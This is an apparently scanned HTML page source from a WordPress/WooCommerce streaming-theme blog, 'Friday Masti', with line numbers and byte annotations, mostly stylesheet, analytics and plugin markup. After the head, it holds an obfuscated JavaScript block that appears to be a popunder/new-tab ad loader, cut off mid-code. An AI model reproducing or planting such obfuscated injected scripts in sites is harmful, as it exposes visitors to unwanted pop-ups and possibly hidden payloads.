1<!DOCTYPE html> 2<html data-bs-theme="dark" dir="ltr" lang="en-US"> 3 4<head> 5 <meta name="7a6bf4cc9fbb94a4638bed026128fdf001adbb66" content="7a6bf4cc9fbb94a4638bed026128fdf001adbb66" /> 6 <meta name="referrer" content="no-referrer-when-downgrade" /> 7 <meta charset="UTF-8"> 8 <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover "> 9 10 <meta name="theme-color" content="#000000"> 11 <link rel="profile" href="https://gmpg.org/xfn/11"> 12
12<script>document.documentElement.className = document.documentElement.className + ' yes-js js_active js'</script>
12 13 <title>Blog – Friday Masti</title> 14<meta name='robots' content='max-image-preview:large' />
15<script>Object.defineProperty(window,"angiePlugin",{value:{"schemaVersion":1,"available":true,"version":"1.1.12"},writable:false,configurable:false});</script>
15<link rel='dns-prefetch' href='//www.googletagmanager.com' /> 16<link rel='dns-prefetch' href='//fonts.googleapis.com' /> 17<link rel="alternate" type="application/rss+xml" title="Friday Masti » Feed" href="https://fridaymasti.com/feed/" /> 18<link rel="alternate" type="application/rss+xml" title="Friday Masti » Comments Feed" href="https://fridaymasti.com/comments/feed/" /> 19<style id="wp-img-auto-sizes-contain-inline-css"> 20img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px} 21/*# sourceURL=wp-img-auto-sizes-contain-inline-css */ 22</style> 23<link rel='stylesheet' id='better-payment-common-style-css' href='https://fridaymasti.com/wp-content/plugins/better-payment/assets/css/common.min.css?ver=1790263378' media='all' /> 24<link rel='stylesheet' id='embedpress-css-css' href='https://fridaymasti.com/wp-content/plugins/embedpress/assets/css/embedpress.css?ver=1789814831' media='all' /> 25<link rel='stylesheet' id='embedpress-blocks-style-css' href='https://fridaymasti.com/wp-content/plugins/embedpress/assets/css/blocks.build.css?ver=1789814831' media='all' /> 26<style id="wp-emoji-styles-inline-css"> 27 28 img.wp-smiley, img.emoji { 29 display: inline !important; 30 border: none !important; 31 box-shadow: none !important; 32 height: 1em !important; 33 width: 1em !important; 34 margin: 0 0.07em !important; 35 vertical-align: -0.1em !important; 36 background: none !important; 37 padding: 0 !important; 38 } 39/*# sourceURL=wp-emoji-styles-inline-css */ 40</style> 41<style id="wp-block-library-inline-css"> 42:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;
42--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}} 43/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */ 44</style> 45<style id="classic-theme-styles-inline-css"> 46/*! This file is auto-generated */ 47.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none} 48/*# sourceURL=/wp-includes/css/classic-themes.min.css */ 49</style> 50<style id="wp-block-styles-placeholder-inline-css"> 51:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." } 52/*# sourceURL=wp-block-styles-placeholder-inline-css */ 53</style> 54<link rel='stylesheet' id='metaslider-blocks-editor-css-css' href='https://fridaymasti.com/wp-content/plugins/ml-slider/admin/assets/dist/css/editor-block.css?ver=3.111.2' media='all' property='stylesheet' /> 55<style id="wp-global-styles-placeholder-inline-css"> 56:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." } 57/*# sourceURL=wp-global-styles-placeholder-inline-css */ 58</style> 59<link rel='stylesheet' id='contact-form-7-css' href='https://fridaymasti.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.1.7' media='all' /> 60<link rel='stylesheet' id='elementor-frontend-css' href='https://fridaymasti.com/wp-content/uploads/elementor/css/custom-frontend.min.css?ver=1790340753' media='all' /> 61<style id="elementor-frontend-inline-css"> 62.e-heading-base a, .e-paragraph-base a { all: unset; cursor: pointer; }form[data-element_type="e-form"].form-state-success [data-element_type="e-form-success-message"],form[data-element_type="e-form"].form-state-error [data-element_type="e-form-error-message"]{ display: block; } 63.e-form-textarea-base:not([data-resizable]) { resize: none; } .e-form-submit-button-base { cursor: pointer; box-sizing: border-box; } 64/*# sourceURL=elementor-frontend-inline-css */ 65</style> 66<link rel='stylesheet' id='elementor-post-4-css' href='https://fridaymasti.com/wp-content/uploads/elementor/css/post-4.css?ver=1790340753' media='all' /> 67<link rel='stylesheet' id='simple-banner-style-css' href='https://fridaymasti.com/wp-content/plugins/simple-banner/simple-banner.css?ver=3.3.1' media='all' /> 68<link rel='stylesheet' id='st_content_frontend_style-css' href='https://fridaymasti.com/wp-content/plugins/streamit/includes//assets/css/streamit-content-frontend.css?ver=1.3.8' media='all' /> 69<link rel='stylesheet' id='rt-flaticon-css' href='https://fridaymasti.com/wp-content/plugins/the-post-grid/assets/vendor/flaticon/flaticon_the_post_grid.css?ver=7.9.6' media='all' /> 70<link rel='stylesheet' id='rt-tpg-css' href='https://fridaymasti.com/wp-content/plugins/the-post-grid/assets/css/thepostgrid.min.css?ver=7.9.6' media='all' /> 71<link rel='stylesheet' id='woocommerce-layout-css' href='https://fridaymasti.com/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=11.1.0' media='all' /> 72<link rel='stylesheet' id='woocommerce-smallscreen-css' href='https://fridaymasti.com/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=11.1.0' media='only screen and (max-width: 768px)' /> 73<link rel='stylesheet' id='woocommerce-general-css' href='https://fridaymasti.com/wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=11.1.0' media='all' /> 74<style id="woocommerce-inline-inline-css"> 75.woocommerce form .form-row .required { visibility: visible; } 76/*# sourceURL=woocommerce-inline-inline-css */ 77</style> 78<style id="angie-pagination-style-ad7a534c-inline-css"> 79 80 .angie-pagination-container-ad7a534c { 81 display: flex; 82 justify-content: center; 83 align-items: center; 84 gap: 8px; 85 margin: 30px 0; 86 font-family: inherit; 87 } 88 .angie-pagination-container-ad7a534c .page-numbers { 89 display: inline-flex; 90 align-items: center; 91 justify-content: center; 92 min-width: 40px; 93 height: 40px; 94 padding: 0 6px; 95 border: 1px solid #ddd; 96 border-radius: 4px; 97 text-decoration: none; 98 color: #333; 99 font-weight: 500; 100 transition: all 0.2s ease; 101 } 102 .angie-pagination-container-ad7a534c .page-numbers:hover { 103 background-color: #f5f5f5; 104 border-color: #bbb; 105 } 106 .angie-pagination-container-ad7a534c .page-numbers.current { 107 background-color: #000; 108 color: #fff; 109 border-color: #000; 110 } 111 .angie-pagination-container-ad7a534c .page-numbers.dots { 112 border: none; 113 background: none; 114 cursor: default; 115 } 116 117/*# sourceURL=angie-pagination-style-ad7a534c-inline-css */ 118</style> 119<link rel='stylesheet' id='toastr-css-css' href='https://fridaymasti.com/wp-content/plugins/better-payment/assets/vendor/toastr/css/toastr.min.css?ver=7.1.2' media='all' /> 120<link rel='stylesheet' id='hostinger-reach-subscription-block-css' href='https://fridaymasti.com/wp-content/plugins/hostinger-reach/frontend/dist/blocks/subscription.css?ver=1788506910' media='all' /> 121<link rel='stylesheet' id='uag-style-1137-css' href='https://fridaymasti.com/wp-content/uploads/uag-plugin/assets/1000/uag-css-1137.css?ver=1790340756' media='all' /> 122<link rel='stylesheet' id='slick-css' href='https://fridaymasti.com/wp-content/plugins/happy-elementor-addons/assets/vendor/slick/slick.css?ver=3.50.0' media='all' /> 123<link rel='stylesheet' id='perfect-scrollbar-css' href='https://fridaymasti.com/wp-content/plugins/woo-smart-quick-view/assets/libs/perfect-scrollbar/css/perfect-scrollbar.min.css?ver=4.3.4' media='all' /> 124<link rel='stylesheet' id='perfect-scrollbar-wpc-css' href='https://fridaymasti.com/wp-content/plugins/woo-smart-quick-view/assets/libs/perfect-scrollbar/css/custom-theme.css?ver=4.3.4' media='all' /> 125<link rel='stylesheet' id='magnific-popup-css' href='https://fridaymasti.com/wp-content/plugins/happy-elementor-addons/assets/vendor/magnific-popup/magnific-popup.css?ver=3.50.0' media='all' /> 126<link rel='stylesheet' id='woosq-feather-css' href='https://fridaymasti.com/wp-content/plugins/woo-smart-quick-view/assets/libs/feather/feather.css?ver=4.3.4' media='all' /> 127<link rel='stylesheet' id='woosq-icons-css' href='https://fridaymasti.com/wp-content/plugins/woo-smart-quick-view/assets/css/icons.css?ver=4.3.4' media='all' /> 128<link rel='stylesheet' id='woosq-frontend-css' href='https://fridaymasti.com/wp-content/plugins/woo-smart-quick-view/assets/css/frontend.css?ver=4.3.4' media='all' /> 129<link rel='stylesheet' id='jquery-selectBox-css' href='https://fridaymasti.com/wp-content/plugins/yith-woocommerce-wishlist/assets/css/jquery.selectBox.css?ver=1.2.0' media='all' /> 130<link rel='stylesheet' id='woocommerce_prettyPhoto_css-css' href='//fridaymasti.com/wp-content/plugins/woocommerce/assets/css/prettyPhoto.css?ver=3.1.6' media='all' /> 131<link rel='stylesheet' id='yith-wcwl-main-css' href='https://fridaymasti.com/wp-content/plugins/yith-woocommerce-wishlist/assets/css/style.css?ver=4.18.1' media='all' /> 132<style id="yith-wcwl-main-inline-css">
133 :root { --add-to-wishlist-icon-color: #000000; --added-to-wishlist-icon-color: #000000; --rounded-corners-radius: 16px; --add-to-cart-rounded-corners-radius: 16px; --color-headers-background: #F4F4F4; --feedback-duration: 3s } 134/*# sourceURL=yith-wcwl-main-inline-css */ 135</style> 136<link rel='stylesheet' id='yith-wcwl-add-to-wishlist-css' href='https://fridaymasti.com/wp-content/plugins/yith-woocommerce-wishlist/assets/css/frontend/add-to-wishlist.css?ver=4.18.1' media='all' /> 137<style id="yith-wcwl-add-to-wishlist-inline-css"> 138 :root { --add-to-wishlist-icon-color: #000000; --added-to-wishlist-icon-color: #000000; --rounded-corners-radius: 16px; --add-to-cart-rounded-corners-radius: 16px; --color-headers-background: #F4F4F4; --feedback-duration: 3s } 139/*# sourceURL=yith-wcwl-add-to-wishlist-inline-css */ 140</style> 141<link rel='stylesheet' id='google-fonts-css' href='//fonts.googleapis.com/css?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap' media='all' /> 142<link rel='stylesheet' id='st-select2-css-css' href='https://fridaymasti.com/wp-content/themes/streamit/static/assets/vendor/css/select2.css?ver=7.1.2' media='all' /> 143<link rel='stylesheet' id='streamit-main-streamit-theme-main-919c4436-css' href='https://fridaymasti.com/wp-content/themes/streamit/static/dist/streamit-theme-main-919c4436.css' media='all' /> 144<link rel='stylesheet' id='slick-general-streamit-theme-slick-general-5fa75377-css' href='https://fridaymasti.com/wp-content/themes/streamit/static/dist/streamit-theme-slick-general-5fa75377.css' media='all' /> 145<link rel='stylesheet' id='streamit-slider-streamit-theme-slider-init-2820b6e0-css' href='https://fridaymasti.com/wp-content/themes/streamit/static/dist/streamit-theme-slider-init-2820b6e0.css' media='all' /> 146<link rel='stylesheet' id='streamit-global-css' href='https://fridaymasti.com/wp-content/themes/streamit/style.css?ver=7.1.2' media='all' /> 147<style id="streamit-global-inline-css"> 148.header-default .logo { width: 100px !important; }.header-default .logo { height: 130px !important; } 149 .texture-text, .top-ten .top_ten_numbers { 150 background: url(https://streamit-wordpress.iqonic.design/wp-content/themes/streamit/admin/assets/images/redux/texture.jpg); 151 -webkit-background-clip: text; 152 -moz-background-clip: text; 153 background-clip: text; 154 }:root{--content-width: 87.5em !important;}.product-premium { background: #FFD81C !important; }.product-ppv { background: #1e73be !important; }.product-ppv-rented { background: #008000 !important; }.product-upcoming { background: #e50914 !important; }.streamit-badge-upcoming { background: #e50914 !important; }.upcoming-badge { background: #e50914 !important; }.episode-upcoming-badge { background: #e50914 !important; } 155/*# sourceURL=streamit-global-inline-css */ 156</style> 157<link rel='stylesheet' id='dashicons-css' href='https://fridaymasti.com/wp-includes/css/dashicons.min.css?ver=7.1.2' media='all' /> 158<style id="dashicons-inline-css"> 159[data-font="Dashicons"]:before {font-family: 'Dashicons' !important;content: attr(data-icon) !important;speak: none !important;font-weight: normal !important;font-variant: normal !important;text-transform: none !important;line-height: 1 !important;font-style: normal !important;-webkit-font-smoothing: antialiased !important;-moz-osx-font-smoothing: grayscale !important;} 160/*# sourceURL=dashicons-inline-css */ 161</style> 162<link rel='stylesheet' id='elementor-icons-css' href='https://fridaymasti.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=5.53.0' media='all' /> 163<link rel='stylesheet' id='tmpcoder-woo-grid-css-css' href='https://fridaymasti.com/wp-content/plugins/sastra-essential-addons-for-elementor/assets/grid-widgets/frontend.min.css?ver=1.0.38' media='all' /> 164<link rel='stylesheet' id='font-awesome-5-all-css' href='https://fridaymasti.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/all.min.css?ver=1.0.38' media='all' /> 165<link rel='stylesheet' id='animations-css' href='https://fridaymasti.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=1.0.38' media='all' /> 166<link rel='stylesheet' id='tmpcoder-frontend-style-css' href='https://fridaymasti.com/wp-content/plugins/sastra-essential-addons-for-elementor/assets/css/frontend.min.css?ver=1.0.38' media='' /> 167<link rel='stylesheet' id='elementor-gf-roboto-css' href='https://fonts.googleapis.com/css?family=Roboto:100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&display=swap' media='all' /> 168<link rel='stylesheet' id='elementor-gf-robotoslab-css' href='https://fonts.googleapis.com/css?family=Roboto+Slab:100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&display=swap' media='all' />
169<script type="text/template" id="tmpl-variation-template"> 170 <div class="woocommerce-variation-description">{{{ data.variation.variation_description }}}</div> 171 <div class="woocommerce-variation-price">{{{ data.variation.price_html }}}</div> 172 <div class="woocommerce-variation-availability">{{{ data.variation.availability_html }}}</div> 173</script>
vendor: 1 bytes, line 173
173
174<script type="text/template" id="tmpl-unavailable-variation-template"> 175 <p role="alert">Sorry, this product is unavailable. Please choose a different combination.</p> 176</script>
vendor: 1 bytes, line 176
176
177<script id="jquery-core-js" src="https://fridaymasti.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
vendor: 1 bytes, line 177
177
178<script id="jquery-migrate-js" src="https://fridaymasti.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
vendor: 1 bytes, line 178
178
179<script id="simple-banner-script-js-before"> 180const simpleBannerScriptParams = {"pro_version_enabled":false,"debug_mode":false,"id":7133,"version":"3.3.1","banner_params":[{"hide_simple_banner":false,"simple_banner_prepend_element":false,"simple_banner_position":false,"header_margin":false,"header_padding":false,"wp_body_open_enabled":false,"wp_body_open":true,"simple_banner_z_index":false,"simple_banner_text":false,"disabled_on_current_page":false,"disabled_pages_array":[],"is_current_page_a_post":true,"disabled_on_posts":false,"simple_banner_disabled_page_paths":false,"simple_banner_font_size":false,"simple_banner_color":false,"simple_banner_text_color":false,"simple_banner_link_color":false,"simple_banner_close_color":false,"simple_banner_custom_css":false,"simple_banner_scrolling_custom_css":false,"simple_banner_text_custom_css":false,"simple_banner_button_css":false,"site_custom_css":false,"keep_site_custom_css":false,"site_custom_js":false,"keep_site_custom_js":false,"close_button_enabled":false,"close_button_expiration":false,"close_button_cookie_set":false,"current_date":{"date":"2026-09-25 12:52:37.857154","timezone_type":3,"timezone":"UTC"},"start_date":{"date":"2026-09-25 12:52:37.857161","timezone_type":3,"timezone":"UTC"},"end_date":{"date":"2026-09-25 12:52:37.857165","timezone_type":3,"timezone":"UTC"},"simple_banner_start_after_date":false,"simple_banner_remove_after_date":false,"simple_banner_insert_inside_element":false}]} 181//# sourceURL=simple-banner-script-js-before 182</script>
vendor: 1 bytes, line 182
182
183<script id="simple-banner-script-js" src="https://fridaymasti.com/wp-content/plugins/simple-banner/simple-banner.js?ver=3.3.1"></script>
vendor: 1 bytes, line 183
183
184<script data-wp-strategy="defer" id="wc-jquery-blockui-js" src="https://fridaymasti.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.11.1.0"></script>
vendor: 1 bytes, line 184
184
185<script id="wc-add-to-cart-js-extra"> 186var wc_add_to_cart_params = {"ajax_url":"/wp-admin/admin-ajax.php","wc_ajax_url":"/?wc-ajax=%%endpoint%%","i18n_view_cart":"\u003Cspan\u003EView cart\u003C/span\u003E","cart_url":"https://fridaymasti.com/cart/","is_cart":"","cart_redirect_after_add":"no"}; 187//# sourceURL=wc-add-to-cart-js-extra 188</script>
vendor: 1 bytes, line 188
188
189<script data-wp-strategy="defer" defer id="wc-add-to-cart-js" src="https://fridaymasti.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=11.1.0"></script>
vendor: 1 bytes, line 189
189
190<script data-wp-strategy="defer" id="wc-js-cookie-js" src="https://fridaymasti.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.11.1.0"></script>
vendor: 1 bytes, line 190
190
191<script id="tmpcoder-redirect-url-utils-script-js" src="https://fridaymasti.com/wp-content/plugins/sastra-essential-addons-for-elementor/assets/js/utils.min.js?ver=1.0.38"></script>
191 192 193<!-- Google tag (gtag.js) snippet added by Site Kit --> 194<!-- Google Analytics snippet added by Site Kit -->
vendor: 80 bytes, lines 194-195
194 195<script id="google_gtagjs-js" src="https://www.googletagmanager.com/gtag/js?id=
195GT-MBNTHKHS
vendor: 18 bytes, line 195
195" async></script>
196<script id="google_gtagjs-js-after"> 197window.dataLayer = window.dataLayer || [];function gtag(){dataLayer.push(arguments);} 198gtag("set","linker",{"domains":["fridaymasti.com"]}); 199gtag("js", new Date()); 200gtag("set", "developer_id.dZTNiMT", true); 201gtag("config", "GT-MBNTHKHS"); 202 window._googlesitekit = window._googlesitekit || {}; window._googlesitekit.throttledEvents = []; window._googlesitekit.gtagEvent = (name, data) => { var key = JSON.stringify( { name, data } ); if ( !! window._googlesitekit.throttledEvents[ key ] ) { return; } window._googlesitekit.throttledEvents[ key ] = true; setTimeout( () => { delete window._googlesitekit.throttledEvents[ key ]; }, 5 ); gtag( "event", name, { ...data, event_source: "site-kit" } ); }; 203//# sourceURL=google_gtagjs-js-after 204</script>
204 205<link rel="https://api.w.org/" href="https://fridaymasti.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://fridaymasti.com/xmlrpc.php?rsd" /> 206<meta name="generator" content="WordPress 7.1.2" /> 207<meta name="generator" content="WooCommerce 11.1.0" /> 208<style id="essential-blocks-global-styles"> 209 :root { 210 --eb-global-primary-color: #101828; 211--eb-global-secondary-color: #475467; 212--eb-global-tertiary-color: #98A2B3; 213--eb-global-text-color: #475467; 214--eb-global-heading-color: #1D2939; 215--eb-global-link-color: #444CE7; 216--eb-global-background-color: #F9FAFB; 217--eb-global-button-text-color: #FFFFFF; 218--eb-global-button-background-color: #101828; 219--eb-gradient-primary-color: linear-gradient(90deg, hsla(259, 84%, 78%, 1) 0%, hsla(206, 67%, 75%, 1) 100%); 220--eb-gradient-secondary-color: linear-gradient(90deg, hsla(18, 76%, 85%, 1) 0%, hsla(203, 69%, 84%, 1) 100%); 221--eb-gradient-tertiary-color: linear-gradient(90deg, hsla(248, 21%, 15%, 1) 0%, hsla(250, 14%, 61%, 1) 100%); 222--eb-gradient-background-color: linear-gradient(90deg, rgb(250, 250, 250) 0%, rgb(233, 233, 233) 49%, rgb(244, 243, 243) 100%); 223 224 --eb-tablet-breakpoint: 1024px; 225--eb-mobile-breakpoint: 767px; 226 227 } 228 229 230 </style><meta name="generator" content="Site Kit by Google 1.187.0" /><style id="simple-banner-background-color" type="text/css">.simple-banner{background: #024985;}</style><style id="simple-banner-text-color" type="text/css">.simple-banner .simple-banner-text{color: #ffffff;}</style><style id="simple-banner-link-color" type="text/css">.simple-banner .simple-banner-text a{color:#f16521;}</style><style id="simple-banner-z-index" type="text/css">.simple-banner{z-index: 99999;}</style><style id="simple-banner-site-custom-css-dummy" type="text/css"></style>
230<script id="simple-banner-site-custom-js-dummy" type="text/javascript"></script>
230<meta name="generator" content="Redux 4.5.6" /> <style> 231 :root { 232 --tpg-primary-color: #0d6efd; 233 --tpg-secondary-color: #0654c4; 234 --tpg-primary-light: #c4d0ff 235 } 236 237 </style> 238 <style>/* CSS added by WP Meta and Date Remover*/.wp-block-post-author__name{display:none !important;} 239.wp-block-post-date{display:none !important;} 240 .entry-meta {display:none !important;} 241 .home .entry-meta { display: none; } 242 .entry-footer {display:none !important;} 243 .home .entry-footer { display: none; }</style><style>/* CSS added by WP Meta and Date Remover*/.wp-block-post-author__name{display:none !important;} 244.wp-block-post-date{display:none !important;} 245 .entry-meta {display:none !important;} 246 .home .entry-meta { display: none; } 247 .entry-footer {display:none !important;} 248 .home .entry-footer { display: none; }</style><link rel="icon" type="image/png" href="https://fridaymasti.com/wp-content/uploads/2026/09/cropped-WhatsApp-Image-2026-08-28-at-8.51.31-PM.jpeg"> <noscript><style>.woocommerce-product-gallery{ opacity: 1 !important; }</style></noscript> 249 <meta name="generator" content="Elementor 4.2.3; features: e_font_icon_svg, additional_custom_breakpoints; settings: css_print_method-external, google_font-enabled, font_display-swap"> 250 <style> 251 .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload), 252 .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload) * { 253 background-image: none !important; 254 } 255 @media screen and (max-height: 1024px) { 256 .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload), 257 .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload) * { 258 background-image: none !important; 259 } 260 } 261 @media screen and (max-height: 640px) { 262 .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload), 263 .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload) * { 264 background-image: none !important; 265 } 266 } 267 </style> 268 <style class="wp-fonts-local"> 269@font-face{font-family:Inter;font-style:normal;font-weight:300 900;font-display:fallback;src:url('https://fridaymasti.com/wp-content/plugins/woocommerce/assets/fonts/Inter-VariableFont_slnt,wght.woff2') format('woff2');font-stretch:normal;} 270@font-face{font-family:Cardo;font-style:normal;font-weight:400;font-display:fallback;src:url('https://fridaymasti.com/wp-content/plugins/woocommerce/assets/fonts/cardo_normal_400.woff2') format('woff2');} 271</style> 272<style id="uagb-style-conditional-extension">@media (min-width: 1025px){body .uag-hide-desktop.uagb-google-map__wrap,body .uag-hide-desktop{display:none !important}}@media (min-width: 768px) and (max-width: 1024px){body .uag-hide-tab.uagb-google-map__wrap,body .uag-hide-tab{display:none !important}}@media (max-width: 767px){body .uag-hide-mob.uagb-google-map__wrap,body .uag-hide-mob{display:none !important}}</style><link rel="icon" href="https://fridaymasti.com/wp-content/uploads/2026/09/cropped-WhatsApp-Image-2026-08-28-at-8.51.31-PM-32x32.jpeg" sizes="32x32" /> 273<link rel="icon" href="https://fridaymasti.com/wp-content/uploads/2026/09/cropped-WhatsApp-Image-2026-08-28-at-8.51.31-PM-192x192.jpeg" sizes="192x192" /> 274<link rel="apple-touch-icon" href="https://fridaymasti.com/wp-content/uploads/2026/09/cropped-WhatsApp-Image-2026-08-28-at-8.51.31-PM-180x180.jpeg" /> 275<meta name="msapplication-TileImage" content="https://fridaymasti.com/wp-content/uploads/2026/09/cropped-WhatsApp-Image-2026-08-28-at-8.51.31-PM-270x270.jpeg" /> 276<style id="wp-custom-css"> 277.footer-divider ul li{ 278 border-bottom:1px solid rgba(255,255,255,.15); 279 padding:10px 0; 280} 281 282.footer-divider ul li:last-child{ 283 border-bottom:none; 284} 285</style> 286 </head>
287<script> 288(function(options){ 289(function(){"use strict";var __webpack_exports__={},u=b;function _typeof(n){var t=b,r={fLUJA:function(n,t){return n==t},gzujY:"function",uUgHM:function(n,t){return n===t},QxDcx:function(n,t){return n!==t},SgvEY:"symbol",kAwqG:function(n,t){return n(t)}};return _typeof=r[t(372)](r.gzujY,typeof Symbol)&&r.fLUJA(r[t(283)],typeof Symbol[t(274)])?function(n){return typeof n}:function(n){var e=t;return n&&r.fLUJA(r[e(299)],typeof Symbol)&&r[e(320)](n[e(356)],Symbol)&&r.QxDcx(n,Symbol[e(233)])?r[e(283)]:typeof n},r.kAwqG(_typeof,n)}function b(n,t){var r=a();return b=function(t,e){var i=r[t-=218];if(void 0===b.oXHDvj){var o=function(n){for(var t,r,e="",i="",o=0,u=0;r=n.charAt(u++);~r&&(t=o%4?64*t+r:r,o++%4)?e+=String.fromCharCode(255&t>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(var a=0,c=e.length;a<c;a++)i+="%"+("00"+e.charCodeAt(a).toString(16)).slice(-2);return decodeURIComponent(i)};b.ITGXcY=o,n=arguments,b.oXHDvj=!0}var u=r[0],a=t+u,c=n[a];return c?i=c:(i=b.ITGXcY(i),n[a]=i),i},b(n,t)}!function(n,t){for(var r=b,e=n();;)try{if(445324==-parseInt(r(380))/1+-parseInt(r(379))/2*(-parseInt(r(249))/3)+parseInt(r(364))/4*(-parseInt(r(337))/5)+-parseInt(r(319))/6*(parseInt(r(266))/7)+-parseInt(r(311))/8+-parseInt(r(302))/9+parseInt(r(310))/10*(parseInt(r(368))/11))break;e.push(e.shift())}catch(n){e.push(e.shift())}}(a);var version=u(278),c={safe:!1};c[u(389)]=1,c[u(377)]=[],c[u(317)]=10,c[u(226)]=[],c.coverScrollbar=!0,c[u(219)]=[],c[u(362)]=!1;var d={under:!0,newTab:!0};d[u(352)]="/",d[u(277)]=window.screen.width,d[u(255)]=window.screen[u(255)],d[u(273)]=1,d[u(330)]=1,d[u(239)]=1,d[u(378)]=0,d[u(281)]=0,d.cookieExpires=86400,d.beforeOpen=function(){},d[u(383)]=function(){};var e={};function a(){var 